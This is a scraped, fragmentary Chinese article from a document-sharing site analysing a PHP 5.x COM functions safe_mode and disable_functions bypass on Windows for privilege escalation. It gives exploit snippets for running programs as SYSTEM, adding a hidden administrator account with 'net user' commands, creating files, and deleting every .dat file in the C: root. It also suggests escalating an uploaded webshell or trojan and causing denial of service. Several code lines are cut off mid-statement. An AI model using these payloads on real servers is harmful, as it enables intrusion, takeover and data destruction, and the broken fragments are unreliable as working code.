PHP-5.x-COM-functions提权漏洞的利用分析.doc

《PHP-5.x-COM-functions提权漏洞的利用分析.doc》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、PHP5.xCOMfunctions提权漏洞的利用分析PHP是英文“超级文本预处理语言”（HypertextPreprocessor）的缩写，是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能，所有的CGI或者JavaScript的功能，PHP都能实现，支持几乎所有流行的数据库以及操作系统。    近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞，也就是PHP5.xCOMfunctionssafe_modeanddisable_functionbypass漏洞。它可以实现提权，这

2、是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞，由于本人水平有限，请大家原谅不准确的地方。    漏洞所用到的COM函数只在Windows环境下的PHP才存在，.net的支持需要PHP5以及.netRuntime。漏洞所利用的函数无需特殊安装，是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展，不用额外加载其他扩展来调用漏洞函数。          现在部分大中型网站都喜欢用PHP+Apache+Windows来架设，这样的话，PHP漏洞的打击面就会很大了，特别是在现在提权越来越难的形势下，我想，很多服务器会因

3、为这个漏洞而沦陷的。根据漏洞发现者公布的内容，漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+WindowsXPSP2，在我的测试当中，发现并不一定要严格按照这样配置，大家可以自己测试一下看看。safe_mode=Ondisable_functions=com_load_typelibopen_basedir=htdocs下面我们就逐一看看这个漏洞的内容与利用。compatUI.dll中的RunApplication函数这个漏洞的测试代码如下。

4、('{A-7F23-47E2-B7C3-97EE8DD42CD8}');//加载compatUI.dll  $compatUI->RunApplication("something","notepad.exe",1);//运行记事本?>将其保存为PHP文件，放到服务器上，然后用IE访问就可以了。运行后IE是没有什么回显的，如图1所示，但实际上记事本已经运行了，而且是SYSTEM权限，因为它是由系统服务来运行的，所以继承了SYSTEM权限，如图2所示。  利用这个漏洞，我们可以运行已经上传好的木马，实现WebShell的提权。当然，如果

5、你足够无聊的话，还可以写成循环，让服务器运行很多记事本，实现D.O.S。Wscript运行命令这个漏洞的测试代码如下。Run("cmd.exe/ccalc.exe");//运行calc.exe?>访问该脚本后，服务器上出现了SYSTEM权限的calc.exe进程，如图3所示。我们只要发挥一下想象力，修改一下脚本，就能加个管理员账户了，具体代码如下。 

6、shell');$wscript->Run("cmd.exe/cnetuseradmin$/add");$wscript->Run("cmd.exe/cnetlocalgroupadministratorsadmin$/add");?>访问该脚本之后，即可添加管理员成功，这对SYSTEM权限来说简直就是噩梦，如图4所示 wshom.ocx中的OpenTextFileOpenTextFile可以用于创建一个文件，其中存在的漏洞的测试代码如下。

7、M('Scripting.FileSystemObject');//用到了wshom.ocx$FSO->OpenTextFile($mPath."bat.bat",8,true);//在服务器上创建文件，虽然这个函数是用来打开文件的，但是文件不存在就被创建了?>    果然在C区根目录出现了这个批处理文件bat.bat，如图5所示 wshom.ocx中的DeleteFile这个函数可以删除服务器上的文件，大家要小心使用，测试代码如下。

8、M('Scripting.FileSystemObject');//利用了wshom.ocx$FSOdelFile->DeleteFile($mPath.".\*.dat",True);//删除C区根目录的所有dat文